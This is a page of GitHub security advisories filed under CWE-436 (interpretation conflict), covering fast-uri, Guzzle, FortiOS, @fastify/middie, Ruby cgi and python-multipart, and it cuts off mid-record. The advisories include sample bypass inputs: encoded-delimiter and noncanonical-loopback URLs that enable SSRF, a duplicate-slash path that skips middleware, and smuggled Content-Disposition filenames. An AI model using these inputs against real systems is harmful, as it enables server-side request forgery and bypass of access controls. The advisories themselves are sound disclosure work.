CWE-436
Allowed-with-ReviewInterpretation Conflict
Abstraction: Class · Status: Incomplete
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
228 vulnerabilities reference this CWE, most recent first.
GHSA-V39H-62P7-JPJC
Vulnerability from github – Published: 2026-05-08 19:13 – Updated: 2026-08-28 18:30Impact
fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.
For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.
Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.
Patches
Upgrade to fast-uri >= 3.1.2, or if you are in the v2.x release line, v2.4.1
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6322"
],
"database_specific": {
"cwe_ids": [
"CWE-140",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:13:01Z",
"nvd_published_at": "2026-05-05T11:16:33Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`fast-uri` v3.1.1 and earlier decodes percent-encoded authority delimiters (`%40` as `@`, `%3A` as `:`) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.\n\nFor example, `http://trusted.com%40evil.com/` normalizes to `http://trusted.com@evil.com/`, which reparses as host `evil.com` with userinfo `trusted.com`.\n\nApplications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.2, or if you are in the v2.x release line, v2.4.1\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-v39h-62p7-jpjc",
"modified": "2026-08-28T18:30:43Z",
"published": "2026-05-08T19:13:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41928"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42078"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42142"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43038"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54395"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54555"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56366"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56431"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56928"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:56968"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:57013"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:57487"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60520"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-6322"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466684"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v2.4.1"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v3.1.2"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6322.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25273"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28571"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29795"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29796"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29800"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29834"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30076"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33683"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34160"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34374"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34766"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34770"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36651"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37186"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37385"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37628"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40118"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40945"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to host confusion via percent-encoded authority delimiters"
}
GHSA-V5MV-P594-2X33
Vulnerability from github – Published: 2026-08-03 21:07 – Updated: 2026-08-03 21:07Impact
In affected versions, Guzzle gives a transport the request URI as text and supplies the Host header separately. The cURL handlers set CURLOPT_URL to the URI exactly as written and push that Host into CURLOPT_HTTPHEADER; StreamHandler does the same through fopen(). libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy CONNECT, while the supplied Host suppresses the aligned one it would have generated. In http://127.0.0.%31/ the URI host is one filter_var() rejects as an IP literal, yet libcurl decodes it to 127.0.0.1 and reaches loopback with no DNS lookup while the server receives Host: 127.0.0.%31.
An attacker who influences a fetched URI can therefore reach a host the application's checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle's own decisions onto a spelling the transport does not use: no_proxy selects proxy routing from the literal host, and RedirectMiddleware decides from it whether to strip Authorization and Cookie. The cookie middleware extracts Set-Cookie against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent Host, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party UriInterface, a host of blocked.example.com@127.0.0.1 reaches 127.0.0.1 through all three handlers and generates Authorization: Basic from userinfo the application never wrote.
Exploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle's own idn_conversion, off by default on both branches, which rewrites the URI in Client::buildUri() before a handler sees it and leaves a prebuilt request's explicit Host as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as 127.1, 2130706433, 0x7f000001 and 0177.0.0.1 remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.
Patches
This is a summary; the patches are the authority. The issue is fixed in 7.15.2 and 8.0.1, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside 0x21 to 0x7E, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as 256.0.0.1.. An explicit Host header must be printable ASCII, and on 7.15.2 free of percent escapes. The client also regenerates a derived Host when it rewrites the request URI. Versions before 7.15.2 and version 8.0.0 are affected.
Workarounds
If you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit Host header separately, on every redirect hop. The URI rule assumes $uri is a validated GuzzleHttp\Psr7\Uri, so re-parse a third-party UriInterface with new Uri((string) $uri) first.
$host = $uri->getHost();
if (
preg_match('/\A[\x21-\x7E]*\z/D', $host) !== 1
|| strpbrk($host, '%@/?#\\') !== false
|| substr($host, -1) === '.'
) {
throw new RuntimeException('Refusing to fetch this URI host.');
}
if (
preg_match('/\A[\x21-\x7E]*\z/D', $hostHeader) !== 1
|| strpos($hostHeader, '%') !== false
) {
throw new RuntimeException('Refusing to send this Host header.');
}
It differs from the patch in both directions: it refuses example.com., which the patch accepts, and it does not canonicalize 127.1 or 0x7f000001. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. idn_conversion => true is not an access control, since IDNA maps 127。0。0。1 onto 127.0.0.1 and direct handler use bypasses it, and Uri::getHost() is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69246"
],
"database_specific": {
"cwe_ids": [
"CWE-180",
"CWE-436",
"CWE-918",
"CWE-941"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:07:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nIn affected versions, Guzzle gives a transport the request URI as text and supplies the `Host` header separately. The cURL handlers set `CURLOPT_URL` to the URI exactly as written and push that `Host` into `CURLOPT_HTTPHEADER`; `StreamHandler` does the same through `fopen()`. libcurl then parses the authority itself, percent-decoding it and, on an IDN-capable build, applying IDNA mapping, and uses the result to resolve, connect, name the TLS peer and address a proxy `CONNECT`, while the supplied `Host` suppresses the aligned one it would have generated. In `http://127.0.0.%31/` the URI host is one `filter_var()` rejects as an IP literal, yet libcurl decodes it to `127.0.0.1` and reaches loopback with no DNS lookup while the server receives `Host: 127.0.0.%31`.\n\nAn attacker who influences a fetched URI can therefore reach a host the application\u0027s checks excluded and read whatever it exposes of the response. The same divergence moves Guzzle\u0027s own decisions onto a spelling the transport does not use: `no_proxy` selects proxy routing from the literal host, and `RedirectMiddleware` decides from it whether to strip `Authorization` and `Cookie`. The cookie middleware extracts `Set-Cookie` against the URI Guzzle produced, not the authority contacted, so for a raw divergent URI the cookie is stored under the URI host as written. Where Guzzle rewrote that URI but left a divergent `Host`, or where the caller supplied one, the cookie is stored under the canonical name and replayed by ordinary later requests to it. With a third-party `UriInterface`, a host of `blocked.example.com@127.0.0.1` reaches `127.0.0.1` through all three handlers and generates `Authorization: Basic` from userinfo the application never wrote.\n\nExploitation requires the application to build a request URI from untrusted input and to make a host decision before handing it to Guzzle. Applications that only fetch URIs they construct themselves are not affected, and an exact allowlist of canonical names ordinarily fails closed; the exposure is to denylists, private-range and IP-literal checks, and any check that treats an unresolvable name as safe. The raw Unicode class needs an IDNA transformation somewhere: either a libcurl built with IDN support or Guzzle\u0027s own `idn_conversion`, off by default on both branches, which rewrites the URI in `Client::buildUri()` before a handler sees it and leaves a prebuilt request\u0027s explicit `Host` as written, while a request the client builds derives that header from the rewritten URI and produces no divergence. Noncanonical numeric spellings such as `127.1`, `2130706433`, `0x7f000001` and `0177.0.0.1` remain accepted after the patch and reach whatever the transport reads them as, loopback or a routable public host, and the cURL and stream handlers can differ, so a check comparing a host against an address as text stays bypassable. Guzzle does not offer SSRF protection, and neither cache poisoning nor cross-tenant compromise was established.\n\n### Patches\n\nThis is a summary; the patches are the authority. The issue is fixed in `7.15.2` and `8.0.1`, which validate the request host in all three built-in handlers before any network I/O. A URI host is rejected for a byte outside `0x21` to `0x7E`, a percent escape, a URI authority delimiter, unbalanced brackets, or numeric-looking parts followed by a trailing dot. That last rule is deliberately conservative and also refuses out-of-range forms libcurl keeps as names, such as `256.0.0.1.`. An explicit `Host` header must be printable ASCII, and on `7.15.2` free of percent escapes. The client also regenerates a derived `Host` when it rewrites the request URI. Versions before `7.15.2` and version `8.0.0` are affected.\n\n### Workarounds\n\nIf you cannot upgrade, constrain the host yourself before handing a URI to Guzzle, and constrain any explicit `Host` header separately, on every redirect hop. The URI rule assumes `$uri` is a validated `GuzzleHttp\\Psr7\\Uri`, so re-parse a third-party `UriInterface` with `new Uri((string) $uri)` first.\n\n```php\n$host = $uri-\u003egetHost();\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $host) !== 1\n || strpbrk($host, \u0027%@/?#\\\\\u0027) !== false\n || substr($host, -1) === \u0027.\u0027\n) {\n throw new RuntimeException(\u0027Refusing to fetch this URI host.\u0027);\n}\n\nif (\n preg_match(\u0027/\\A[\\x21-\\x7E]*\\z/D\u0027, $hostHeader) !== 1\n || strpos($hostHeader, \u0027%\u0027) !== false\n) {\n throw new RuntimeException(\u0027Refusing to send this Host header.\u0027);\n}\n```\n\nIt differs from the patch in both directions: it refuses `example.com.`, which the patch accepts, and it does not canonicalize `127.1` or `0x7f000001`. Reparsing the URI separates a valid port from the host and rejects malformed bracket forms, so the snippet checks the host component alone. `idn_conversion =\u003e true` is not an access control, since IDNA maps `\uff11\uff12\uff17\u3002\uff10\u3002\uff10\u3002\uff11` onto `127.0.0.1` and direct handler use bypasses it, and `Uri::getHost()` is not an SSRF boundary: it is the host as written, not the host a transport connects to. Where the destination matters, resolve the host and check the addresses, and use a separate cookie jar for untrusted origins.",
"id": "GHSA-v5mv-p594-2x33",
"modified": "2026-08-03T21:07:26Z",
"published": "2026-08-03T21:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-v5mv-p594-2x33"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3907"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3908"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/3aeea0406aab88cbbd86531313d7cebf8ae149a4"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/744101956d78b7c1384d0cbf379db13e859167bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.15.2"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/8.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Guzzle: Noncanonical host can bypass host-based checks"
}
GHSA-V8P8-W9Q2-Q67J
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30An improper neutralization of crlf sequences in http headers ('http response splitting') in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.
{
"affected": [],
"aliases": [
"CVE-2024-54021"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:34Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of crlf sequences in http headers (\u0027http response splitting\u0027) in Fortinet FortiOS 7.2.0 through 7.6.0, FortiProxy 7.2.0 through 7.4.5 allows attacker to execute unauthorized code or commands via crafted HTTP header.",
"id": "GHSA-v8p8-w9q2-q67j",
"modified": "2025-01-14T15:30:54Z",
"published": "2025-01-14T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54021"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-282"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-V9WW-2J6R-98Q6
Vulnerability from github – Published: 2026-04-16 22:28 – Updated: 2026-04-16 22:28Impact
@fastify/middie v9.3.1 and earlier does not read the deprecated (but still functional) top-level ignoreDuplicateSlashes option, only reading from routerOptions. This creates a normalization gap: Fastify's router normalizes duplicate slashes but middie does not, allowing middleware bypass via URLs with duplicate leading slashes (e.g., //admin/secret).
This only affects applications using the deprecated top-level configuration style (fastify({ ignoreDuplicateSlashes: true })). Applications using routerOptions: { ignoreDuplicateSlashes: true } are not affected.
This is distinct from GHSA-8p85-9qpw-fwgw (CVE-2026-2880), which was patched in v9.2.0.
Patches
Upgrade to @fastify/middie >= 9.3.2.
Workarounds
Migrate from deprecated top-level ignoreDuplicateSlashes: true to routerOptions: { ignoreDuplicateSlashes: true }.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.3.1"
},
"package": {
"ecosystem": "npm",
"name": "@fastify/middie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33804"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:28:54Z",
"nvd_published_at": "2026-04-16T15:17:34Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`@fastify/middie` v9.3.1 and earlier does not read the deprecated (but still functional) top-level `ignoreDuplicateSlashes` option, only reading from `routerOptions`. This creates a normalization gap: Fastify\u0027s router normalizes duplicate slashes but middie does not, allowing middleware bypass via URLs with duplicate leading slashes (e.g., `//admin/secret`).\n\nThis only affects applications using the deprecated top-level configuration style (`fastify({ ignoreDuplicateSlashes: true })`). Applications using `routerOptions: { ignoreDuplicateSlashes: true }` are not affected.\n\nThis is distinct from [GHSA-8p85-9qpw-fwgw](https://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw) (CVE-2026-2880), which was patched in v9.2.0.\n\n### Patches\n\nUpgrade to `@fastify/middie` \u003e= 9.3.2.\n\n### Workarounds\n\nMigrate from deprecated top-level `ignoreDuplicateSlashes: true` to `routerOptions: { ignoreDuplicateSlashes: true }`.",
"id": "GHSA-v9ww-2j6r-98q6",
"modified": "2026-04-16T22:28:54Z",
"published": "2026-04-16T22:28:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/middie/security/advisories/GHSA-v9ww-2j6r-98q6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33804"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/middie"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@fastify/middie vulnerable to middleware bypass via deprecated ignoreDuplicateSlashes option"
}
GHSA-VC47-6RQG-C7F5
Vulnerability from github – Published: 2022-11-19 00:30 – Updated: 2025-11-04 19:37Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-33621"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-24T01:59:37Z",
"nvd_published_at": "2022-11-18T23:15:00Z",
"severity": "HIGH"
},
"details": "Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2.",
"id": "GHSA-vc47-6rqg-c7f5",
"modified": "2025-11-04T19:37:14Z",
"published": "2022-11-19T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33621"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1204695"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2021-33621.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00012.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DQR7LWED6VAPD5ATYOBZIGJQPCUBRJBX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/THVTYHHEOVLQFCFHWURZYO7PVUPBHRZD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YACE6ORF2QBXXBK2V2CM36D7TZMEJVAS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DQR7LWED6VAPD5ATYOBZIGJQPCUBRJBX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/THVTYHHEOVLQFCFHWURZYO7PVUPBHRZD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YACE6ORF2QBXXBK2V2CM36D7TZMEJVAS"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202401-27"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20221228-0004"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2022/11/22/http-response-splitting-in-cgi-cve-2021-33621"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "HTTP response splitting in CGI"
}
GHSA-VFFW-93WF-4J4Q
Vulnerability from github – Published: 2026-06-15 20:20 – Updated: 2026-07-15 22:06Summary
parse_options_header parsed Content-Disposition (and Content-Type) headers with email.message.Message, which transparently applies RFC 2231/5987 decoding. The extended parameter syntax (filename*=charset'lang'value, name*=..., and the filename*0/filename*1 continuation form) is decoded and surfaced under the bare filename/name key, and overrides the plain parameter when both are present. RFC 7578 §4.2 explicitly forbids the filename* form in multipart/form-data.
Components that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for multipart/form-data (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.
Details
Given both a plain and an extended parameter, the extended value won. For example:
Content-Disposition: form-data; name="comment"; name*=utf-8''role
An inspector following RFC 7578 sees the field comment, while the returned value was name=role. The same applies to filenames:
Content-Disposition: form-data; name="upload"; filename="safe.txt"; filename*=utf-8''evil.php
The inspector sees safe.txt, while the returned value was filename=evil.php. Continuation parameters (filename*0, filename*1, and so on) were likewise reassembled into a filename invisible to a plain filename= match, and percent encoded sequences in the extended value were decoded (so ..%2F, %00, and similar appeared in the returned filename).
This affects the high level parse_options_header, FormParser, create_form_parser, and parse_form APIs, and reaches Starlette/FastAPI through request.form(), where the smuggled value is exposed as the form field name or UploadFile.filename.
Impact
This is an interpretation conflict (CWE-436) with other multipart/form-data parsers. An attacker able to submit multipart/form-data can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded ..%2F sequences. Decoded control bytes such as %00 can likewise cause confusion between an upstream validator and the backend. The File class applies os.path.basename, so file writing through it is not directly affected.
Mitigation
Upgrade to python-multipart 0.0.30 or later, which ignores RFC 2231/5987 extended parameters (name*, filename*, and their continuations) so the plain name/filename parameter remains authoritative. RFC 7578 §4.2 forbids filename* for multipart/form-data; name* and the continuation forms are dropped for the same reason, since they are not valid multipart/form-data parameters either.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.30"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53537"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:20:51Z",
"nvd_published_at": "2026-06-22T18:16:44Z",
"severity": "LOW"
},
"details": "### Summary\n\n`parse_options_header` parsed `Content-Disposition` (and `Content-Type`) headers with [`email.message.Message`](https://docs.python.org/3/library/email.compat32-message.html#email.message.Message), which transparently applies [RFC 2231](https://datatracker.ietf.org/doc/html/rfc2231)/[5987](https://datatracker.ietf.org/doc/html/rfc5987) decoding. The extended parameter syntax (`filename*=charset\u0027lang\u0027value`, `name*=...`, and the `filename*0`/`filename*1` continuation form) is decoded and surfaced under the bare `filename`/`name` key, and overrides the plain parameter when both are present. [RFC 7578 \u00a74.2](https://datatracker.ietf.org/doc/html/rfc7578#section-4.2) explicitly forbids the `filename*` form in `multipart/form-data`.\n\nComponents that follow RFC 7578, or that do not implement RFC 2231/5987 decoding for `multipart/form-data` (WAFs, proxies, gateways), may interpret such a header differently. An attacker can exploit that difference to smuggle a different field name or filename past an upstream inspector to the backend.\n\n### Details\n\nGiven both a plain and an extended parameter, the extended value won. For example:\n\n```\nContent-Disposition: form-data; name=\"comment\"; name*=utf-8\u0027\u0027role\n```\n\nAn inspector following RFC 7578 sees the field `comment`, while the returned value was `name=role`. The same applies to filenames:\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.txt\"; filename*=utf-8\u0027\u0027evil.php\n```\n\nThe inspector sees `safe.txt`, while the returned value was `filename=evil.php`. Continuation parameters (`filename*0`, `filename*1`, and so on) were likewise reassembled into a `filename` invisible to a plain `filename=` match, and percent encoded sequences in the extended value were decoded (so `..%2F`, `%00`, and similar appeared in the returned filename).\n\nThis affects the high level `parse_options_header`, `FormParser`, `create_form_parser`, and `parse_form` APIs, and reaches Starlette/FastAPI through `request.form()`, where the smuggled value is exposed as the form field name or [`UploadFile.filename`](https://www.starlette.io/requests/#request-files).\n\n### Impact\n\nThis is an interpretation conflict ([CWE-436](https://cwe.mitre.org/data/definitions/436.html)) with other `multipart/form-data` parsers. An attacker able to submit `multipart/form-data` can present a different field name or filename to an upstream body inspecting component than the one delivered to the application. Concrete consequences depend on how the application uses these values, and may include bypassing a field name or filename based access/upload control, or, for an application that builds filesystem paths from the parsed filename without sanitization, path traversal via decoded `..%2F` sequences. Decoded control bytes such as `%00` can likewise cause confusion between an upstream validator and the backend. The `File` class applies `os.path.basename`, so file writing through it is not directly affected.\n\n### Mitigation\n\nUpgrade to `python-multipart` `0.0.30` or later, which ignores RFC 2231/5987 extended parameters (`name*`, `filename*`, and their continuations) so the plain `name`/`filename` parameter remains authoritative. RFC 7578 \u00a74.2 forbids `filename*` for `multipart/form-data`; `name*` and the continuation forms are dropped for the same reason, since they are not valid `multipart/form-data` parameters either.",
"id": "GHSA-vffw-93wf-4j4q",
